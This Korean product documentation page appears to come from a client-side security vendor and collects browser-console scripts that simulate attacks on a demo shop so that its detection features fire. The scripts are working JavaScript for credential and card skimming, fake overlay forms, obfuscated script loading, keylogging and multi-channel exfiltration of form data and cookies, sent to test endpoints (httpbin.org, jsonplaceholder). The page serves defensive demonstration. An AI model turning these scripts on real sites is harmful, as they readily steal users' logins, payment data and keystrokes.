- 홈
- 클라이언트 측 방어
- 공격 스크립트 라이브러리
공격 스크립트 라이브러리
이 페이지는 카테고리별로 구성된 공격 시뮬레이션 스크립트 라이브러리를 제공합니다. 각 스크립트는 데모 애플리케이션의 브라우저 DevTools 콘솔에 붙여넣어 실행할 수 있도록 설계된 자기 실행 함수(IIFE)입니다. 이 스크립트를 사용하여 고객 데모 중 특정 CSD 탐지 기능을 테스트하십시오.
안전 규칙
섹션 제목: “안전 규칙”이 라이브러리의 모든 스크립트는 다음 규칙을 따릅니다:
- IIFE 형식 — 자기 실행 방식으로, DevTools 콘솔에 붙여넣어 바로 실행 가능
- 안전한 유출 대상 —
www.httpbin.org,jsonplaceholder.typicode.com - 안전한 스크립트 소스 —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io(무해한 라이브러리 로드) - 모든 fetch 호출에
mode: 'no-cors'적용 - 콘솔 호환성을 위한
var선언 - 콘솔 출력은
[CSD Demo]및 카테고리 태그로 접두사 지정 - 실제 악성 페이로드 없음
1. 폼재킹 및 자격증명 탈취
섹션 제목: “1. 폼재킹 및 자격증명 탈취”로그인 페이지 자격증명 스키머
섹션 제목: “로그인 페이지 자격증명 스키머”대상 페이지: /#/login — 실행 전 더미 자격증명을 입력하십시오
CSD 신호: 폼 필드 읽기 (이메일, 비밀번호), 네트워크 (외부 도메인으로의 fetch)
// CSD Demo — Login Credential Skimmer(function() { console.log('[CSD Demo][Formjack] Starting login credential skimmer...');
// Read existing form fields (CSD detects field reads on page-load DOM fields) var inputs = document.querySelectorAll('input'); var creds = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; creds[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Harvested credentials:', creds);
// Exfiltrate via fetch var payload = JSON.stringify({ type: 'login_harvest', data: creds, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Formjack] Credentials exfiltrated to www.httpbin.org'); });
console.log('[CSD Demo][Formjack] Simulation complete.');})();CSD 콘솔에서 확인:
- 스크립트 목록 — 이메일 및 비밀번호 필드를 읽은 것으로 높은 위험도로 플래그된 애플리케이션 스크립트 (예:
main.js) - 폼 필드 — 이메일 및 비밀번호가 민감(시스템 분류)으로 표시됨
회원가입 페이지 탈취기
섹션 제목: “회원가입 페이지 탈취기”대상 페이지: /#/register — 실행 전 모든 필드를 입력하십시오
CSD 신호: 폼 필드 읽기 (이메일, 비밀번호, 보안 질문)
// CSD Demo — Registration Page Harvester(function() { console.log('[CSD Demo][Formjack] Starting registration harvester...');
var inputs = document.querySelectorAll('input, select'); var data = {}; inputs.forEach(function(el) { var name = el.name || el.id || el.type || el.tagName; data[name] = el.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Registration data harvested:', data);
var payload = JSON.stringify({ type: 'registration_harvest', data: data, timestamp: Date.now() }); fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { console.log('[CSD Demo][Formjack] Registration data exfiltrated to jsonplaceholder.typicode.com'); });
console.log('[CSD Demo][Formjack] Simulation complete.');})();CSD 콘솔에서 확인:
- 폼 필드 — 민감도 분류와 함께 회원가입 필드가 표시됨
- 스크립트 목록 — 회원가입 필드를 읽는 스크립트가 검토 대상으로 플래그됨
2. 디지털 스키밍
섹션 제목: “2. 디지털 스키밍”결제 페이지 카드 스키머
섹션 제목: “결제 페이지 카드 스키머”대상 페이지: /#/login (Juice Shop 결제는 인증이 필요함 — 오버레이 기법을 시연하기 위해 로그인 페이지를 사용하십시오)
CSD 신호: 스크립트 주입 (오버레이 폼), 폼 필드 읽기 (원본 필드)
// CSD Demo — Payment Card Skimmer (Overlay Technique)(function() { console.log('[CSD Demo][Skim] Starting payment card skimmer simulation...');
// Step 1: Read existing form fields first var inputs = document.querySelectorAll('input'); var existing = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; existing[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Skim] Existing fields harvested:', existing);
// Step 2: Inject a fake overlay form (CSD detects the script injection) var overlay = document.createElement('div'); overlay.id = 'csd-demo-overlay'; overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:99999;display:flex;align-items:center;justify-content:center;'; overlay.innerHTML = '<div style="background:white;padding:30px;border-radius:8px;max-width:400px;width:100%;">' + '<h3 style="margin:0 0 15px;color:#333;">Payment Verification Required</h3>' + '<p style="color:#666;font-size:14px;">Session expired. Re-enter payment details.</p>' + '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">4111-XXXX-XXXX-1111</div>' + '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">CVV: ***</div>' + '<div style="text-align:right;margin-top:15px;">' + '<button onclick="document.getElementById(\'csd-demo-overlay\').remove();console.log(\'[CSD Demo][Skim] Overlay dismissed\');" style="padding:8px 20px;background:#4CAF50;color:white;border:none;border-radius:4px;cursor:pointer;">Verify</button></div></div>'; document.body.appendChild(overlay); console.log('[CSD Demo][Skim] Fake payment overlay injected into DOM');
// Step 3: Exfiltrate captured data var payload = JSON.stringify({ type: 'card_skim', captured: existing, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Skim] Skimmed data exfiltrated to www.httpbin.org'); });
console.log('[CSD Demo][Skim] Simulation complete. Click "Verify" on the overlay to dismiss it.');})();

CSD 콘솔에서 확인:
- 스크립트 목록 — DOM 조작 및 필드 읽기로 플래그된 스크립트
- 폼 필드 — 원본 페이지 필드가 읽기 활동과 함께 표시됨
다단계 난독화 로더
섹션 제목: “다단계 난독화 로더”대상 페이지: 데모 사이트의 아무 페이지
CSD 신호: 스크립트 주입 (디코딩된 페이로드가 새 스크립트 태그 생성)
// CSD Demo — Multi-Stage Obfuscated Loader(function() { console.log('[CSD Demo][Skim] Starting obfuscated loader simulation...');
// Stage 1: Base64-encoded script URL (simulates obfuscation) var encoded = btoa('https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js'); console.log('[CSD Demo][Skim] Stage 1: Encoded payload:', encoded);
// Stage 2: Decode and inject var decoded = atob(encoded); console.log('[CSD Demo][Skim] Stage 2: Decoded URL:', decoded);
var script = document.createElement('script'); script.src = decoded; script.onload = function() { console.log('[CSD Demo][Skim] Stage 3: Decoded script loaded successfully from', decoded); }; script.onerror = function() { console.log('[CSD Demo][Skim] Stage 3: Script load attempted (may be blocked by CSP)'); }; document.head.appendChild(script);
console.log('[CSD Demo][Skim] Simulation complete. CSD detects the injected script tag regardless of encoding.');})();CSD 콘솔에서 확인:
- 스크립트 목록 —
cdn.jsdelivr.net스크립트가 새 항목으로 표시됨 - 네트워크 —
cdn.jsdelivr.net도메인이 목록에 표시됨
3. 공급망 및 스크립트 주입
섹션 제목: “3. 공급망 및 스크립트 주입”멀티 CDN 주입
섹션 제목: “멀티 CDN 주입”대상 페이지: 데모 사이트의 아무 페이지
CSD 신호: 스크립트 주입 (4개의 새로운 서드파티 스크립트 태그), 네트워크 (4개의 새로운 도메인)
// CSD Demo — Multi-CDN Script Injection(function() { console.log('[CSD Demo][Supply Chain] Starting multi-CDN injection...');
var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ];
cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { console.log('[CSD Demo][Supply Chain] Load attempted from ' + cdn.name + ' (may be blocked)'); }; document.head.appendChild(script); console.log('[CSD Demo][Supply Chain] Injected script tag: ' + cdn.name); });
console.log('[CSD Demo][Supply Chain] 4 third-party scripts injected. CSD will detect all 4 new domains.');})();CSD 콘솔에서 확인:
- 스크립트 목록 —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io에서 4개의 새로운 스크립트 항목 - 네트워크 — 전체 도메인 목록에 4개의 CDN 도메인이 표시됨
태그 매니저 하이재킹 시뮬레이션
섹션 제목: “태그 매니저 하이재킹 시뮬레이션”대상 페이지: 데모 사이트의 아무 페이지
CSD 신호: 스크립트 주입 (가짜 분석/태그 매니저 스크립트)
// CSD Demo — Tag Manager Hijack(function() { console.log('[CSD Demo][Supply Chain] Starting tag manager hijack simulation...');
// Simulate a compromised tag manager loading a malicious analytics script var fakeTag = document.createElement('script'); fakeTag.src = 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js'; fakeTag.setAttribute('data-tag-manager', 'hijacked'); fakeTag.onload = function() { console.log('[CSD Demo][Supply Chain] Fake analytics script loaded via tag manager hijack');
// After loading, read form fields (simulating data collection by compromised tag) var inputs = document.querySelectorAll('input'); var collected = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; collected[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Supply Chain] Compromised tag collected form data:', collected); }; fakeTag.onerror = function() { console.log('[CSD Demo][Supply Chain] Script load attempted (may be blocked)'); }; document.head.appendChild(fakeTag);
console.log('[CSD Demo][Supply Chain] Tag manager hijack simulation complete.');})();CSD 콘솔에서 확인:
- 스크립트 목록 —
chart.js경로를 포함한cdn.jsdelivr.net의 새 스크립트 - 폼 필드 — 폼이 있는 페이지에서 실행 시 필드 읽기 활동이 증가함
4. 데이터 유출 채널
섹션 제목: “4. 데이터 유출 채널”다중 채널 유출
섹션 제목: “다중 채널 유출”대상 페이지: /#/login — 실행 전 더미 자격증명을 입력하십시오
CSD 신호: 폼 필드 읽기, 네트워크 (fetch 소스 도메인)
// CSD Demo — Multi-Channel Exfiltration(function() { console.log('[CSD Demo][Exfil] Starting multi-channel exfiltration...');
// Harvest form fields var inputs = document.querySelectorAll('input'); var data = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; data[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Exfil] Data harvested:', data); var payload = JSON.stringify({ type: 'multi_channel', data: data, timestamp: Date.now() });
// Channel 1: Fetch POST fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Exfil] Channel 1 (fetch POST) sent to www.httpbin.org'); });
// Channel 2: Image beacon var img = new Image(); img.src = 'https://www.httpbin.org/get?data=' + encodeURIComponent(payload).substring(0, 200); img.onload = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) sent to www.httpbin.org'); }; img.onerror = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) attempted'); }; console.log('[CSD Demo][Exfil] Channel 2 (image beacon) initiated');
// Channel 3: Link prefetch var link = document.createElement('link'); link.rel = 'prefetch'; link.href = 'https://jsonplaceholder.typicode.com/posts?exfil=' + encodeURIComponent(payload).substring(0, 200); document.head.appendChild(link); console.log('[CSD Demo][Exfil] Channel 3 (link prefetch) injected');
console.log('[CSD Demo][Exfil] 3 exfil channels attempted. Note: CSD Network view tracks script source domains, not fetch/beacon destinations.');})();CSD 콘솔에서 확인:
- 폼 필드 — 이메일 및 비밀번호 필드에 읽기 활동이 표시됨
- 스크립트 목록 — 필드 읽기로 플래그된 애플리케이션 스크립트
대용량 도메인 유출
섹션 제목: “대용량 도메인 유출”대상 페이지: /#/login — 실행 전 더미 자격증명을 입력하십시오
CSD 신호: 폼 필드 읽기, 스크립트 주입 (여러 도메인의 스크립트 태그)
// CSD Demo — High-Volume Domain Exfiltration(function() { console.log('[CSD Demo][Exfil] Starting high-volume exfiltration simulation...');
// Harvest form data var inputs = document.querySelectorAll('input'); var data = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; data[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Exfil] Data harvested:', data);
// Inject scripts from multiple CDN domains (these WILL appear in CSD Network view) var sources = [ 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', 'https://esm.sh/moment@2.30.1', 'https://unpkg.com/underscore@1.13.7/underscore-min.js', 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js', 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js' ];
sources.forEach(function(src, i) { var script = document.createElement('script'); script.src = src; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Exfil] Script ' + (i + 1) + '/' + sources.length + ' loaded: ' + src); }; script.onerror = function() { console.log('[CSD Demo][Exfil] Script ' + (i + 1) + ' load attempted'); }; document.head.appendChild(script); });
// Also send via fetch to safe endpoints var payload = JSON.stringify({ type: 'high_volume', data: data, timestamp: Date.now() }); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }); fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', body: payload });
console.log('[CSD Demo][Exfil] ' + sources.length + ' script injections + 2 fetch channels. Script domains will appear in CSD Network view.');})();CSD 콘솔에서 확인:
- 스크립트 목록 — 5개의 새로운 서드파티 스크립트 항목
- 네트워크 —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io도메인이 목록에 표시됨 - 폼 필드 — 로그인 필드에 읽기 활동이 표시됨
5. DOM 조작 및 오버레이
섹션 제목: “5. DOM 조작 및 오버레이”폼 오버레이 공격
섹션 제목: “폼 오버레이 공격”대상 페이지: /#/login
CSD 신호: 폼 필드 읽기 (오버레이 적용 전 원본 필드 읽기)
// CSD Demo — Form Overlay Attack(function() { console.log('[CSD Demo][DOM] Starting form overlay attack...');
// Read the real form fields first var inputs = document.querySelectorAll('input'); var realData = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; realData[name] = input.value || '(empty)'; }); console.log('[CSD Demo][DOM] Real form data captured:', realData);
// Find the form container and overlay it var form = document.querySelector('form') || document.querySelector('[class*="login"]') || document.querySelector('mat-card'); if (form) { var rect = form.getBoundingClientRect(); var overlay = document.createElement('div'); overlay.id = 'csd-demo-form-overlay'; overlay.style.cssText = 'position:fixed;top:' + rect.top + 'px;left:' + rect.left + 'px;width:' + rect.width + 'px;height:' + rect.height + 'px;background:white;z-index:99999;display:flex;flex-direction:column;justify-content:center;padding:20px;box-sizing:border-box;border:2px solid #e0e0e0;border-radius:8px;'; overlay.innerHTML = '<h4 style="margin:0 0 10px;color:#333;">Sign In</h4>' + '<input type="email" placeholder="Email" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' + '<input type="password" placeholder="Password" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' + '<button onclick="document.getElementById(\'csd-demo-form-overlay\').remove();console.log(\'[CSD Demo][DOM] Overlay dismissed\');" style="margin-top:10px;padding:8px;background:#1976d2;color:white;border:none;border-radius:4px;cursor:pointer;">Log in</button>'; document.body.appendChild(overlay); console.log('[CSD Demo][DOM] Transparent overlay form placed over real login form'); } else { console.log('[CSD Demo][DOM] No form container found — overlay skipped'); }
console.log('[CSD Demo][DOM] Simulation complete. The overlay captures input instead of the real form.');})();

CSD 콘솔에서 확인:
- 폼 필드 — 원본 이메일 및 비밀번호 필드에 읽기 활동이 표시됨
- 스크립트 목록 — 필드 접근으로 플래그된 스크립트
키로거 시뮬레이션
섹션 제목: “키로거 시뮬레이션”대상 페이지: /#/login
CSD 신호: 폼 필드 읽기 (리스너 연결을 위해 input 요소에 접근)
// CSD Demo — Keylogger Simulation(function() { console.log('[CSD Demo][DOM] Starting keylogger simulation...');
var keyBuffer = []; var flushInterval = 5000;
// Attach keydown listener to capture keystrokes document.addEventListener('keydown', function(e) { keyBuffer.push({ key: e.key, target: (e.target.name || e.target.id || e.target.tagName), timestamp: Date.now() }); if (keyBuffer.length >= 10) { console.log('[CSD Demo][DOM] Keylogger buffer (last 10 keys):', JSON.parse(JSON.stringify(keyBuffer.slice(-10)))); } }); console.log('[CSD Demo][DOM] Keydown listener attached to document');
// Also read current form field values var inputs = document.querySelectorAll('input'); inputs.forEach(function(input) { var name = input.name || input.id || input.type; console.log('[CSD Demo][DOM] Monitoring field: ' + name + ' (current value: ' + (input.value || '(empty)') + ')'); });
// Periodic flush simulation var flushCount = 0; var interval = setInterval(function() { flushCount++; if (keyBuffer.length > 0) { console.log('[CSD Demo][DOM] Keylogger flush #' + flushCount + ':', keyBuffer.length, 'keystrokes captured'); fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: JSON.stringify({ type: 'keylog', keys: keyBuffer, timestamp: Date.now() }) }); keyBuffer = []; } if (flushCount >= 6) { clearInterval(interval); console.log('[CSD Demo][DOM] Keylogger simulation ended (30s max duration)'); } }, flushInterval);
console.log('[CSD Demo][DOM] Keylogger active for 30 seconds. Type in form fields to see captured output.');})();CSD 콘솔에서 확인:
- 폼 필드 — 모니터링 스크립트에 의한 입력 필드 읽기 활동이 표시됨
- 스크립트 목록 — 폼 필드 값 접근으로 플래그된 스크립트
6. 통합 스트레스 테스트
섹션 제목: “6. 통합 스트레스 테스트”최대 탐지 스크립트
섹션 제목: “최대 탐지 스크립트”이 스크립트는 모든 공격 벡터를 단일 IIFE로 결합한 “궁극의 데모” 스크립트입니다. 한 번의 실행으로 모든 CSD 탐지 신호를 발생시키고자 할 때 사용하십시오.
대상 페이지: /#/login — 실행 전 더미 자격증명을 입력하십시오
CSD 신호: 폼 필드 읽기, 스크립트 주입 (4개 CDN 도메인), 네트워크 (4개의 새로운 도메인)
// CSD Demo — Maximum Detection (Combined Stress Test)(function() { console.log('='.repeat(60)); console.log('[CSD Demo] MAXIMUM DETECTION — Combined Stress Test'); console.log('='.repeat(60));
// Phase 1: Form Field Harvesting console.log('\n--- Phase 1: Form Field Harvesting ---'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); console.log('[CSD Demo][Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
// Phase 2: Multi-CDN Script Injection console.log('\n--- Phase 2: Supply Chain — Multi-CDN Injection ---'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr (lodash)' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh (moment)' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg (underscore)' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm (dayjs)' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.type = 'module'; script.onload = function() { console.log('[CSD Demo][Supply Chain] Loaded: ' + cdn.name); }; script.onerror = function() { console.log('[CSD Demo][Supply Chain] Load attempted: ' + cdn.name); }; document.head.appendChild(script); console.log('[CSD Demo][Supply Chain] Injected: ' + cdn.name); });
// Phase 3: Data Exfiltration (multiple channels) console.log('\n--- Phase 3: Data Exfiltration ---'); var payload = JSON.stringify({ type: 'max_detection', credentials: harvested, page: window.location.href, cookies: document.cookie, timestamp: Date.now() });
// Fetch POST fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }).then(function() { console.log('[CSD Demo][Exfil] Fetch POST sent to www.httpbin.org'); });
// Fetch POST (second endpoint) fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { console.log('[CSD Demo][Exfil] Fetch POST sent to jsonplaceholder.typicode.com'); });
// Image beacon var img = new Image(); img.src = 'https://www.httpbin.org/get?beacon=' + encodeURIComponent(payload).substring(0, 200); console.log('[CSD Demo][Exfil] Image beacon sent to www.httpbin.org');
// Phase 4: DOM Manipulation console.log('\n--- Phase 4: DOM Manipulation ---'); var banner = document.createElement('div'); banner.id = 'csd-demo-banner'; banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;padding:12px;background:#d32f2f;color:white;text-align:center;z-index:99999;font-family:sans-serif;font-size:14px;'; banner.innerHTML = 'CSD Demo: Attack simulation active — ' + cdns.length + ' scripts injected, ' + Object.keys(harvested).length + ' fields harvested ' + '<button onclick="document.getElementById(\'csd-demo-banner\').remove();" style="margin-left:15px;padding:4px 12px;background:white;color:#d32f2f;border:none;border-radius:3px;cursor:pointer;">Dismiss</button>'; document.body.appendChild(banner); console.log('[CSD Demo][DOM] Attack status banner injected');
// Summary console.log('\n' + '='.repeat(60)); console.log('[CSD Demo] SIMULATION COMPLETE'); console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (from ' + cdns.length + ' CDN domains)'); console.log('[CSD Demo] Exfil channels: 3 (2x fetch + 1x image beacon)'); console.log('[CSD Demo] Detection takes 5-10 minutes to appear in CSD console.'); console.log('='.repeat(60));})();

CSD 콘솔에서 확인 (5~10분 후):
- 대시보드 — 소비된 트랜잭션 카운터 증가
- 스크립트 목록 — 높은 위험도로 플래그된 애플리케이션 스크립트; CDN 도메인에서 4개의 새로운 서드파티 스크립트
- 폼 필드 — 이메일 및 비밀번호가 민감(시스템 분류)으로 분류되고 읽기 활동이 표시됨
- 네트워크 —
cdn.jsdelivr.net,esm.sh,unpkg.com,ga.jspm.io가 전체 도메인에 표시됨 - 영향받은 사용자 — IP, 지리적 위치, 브라우저, 기기 정보와 함께 현재 세션이 표시됨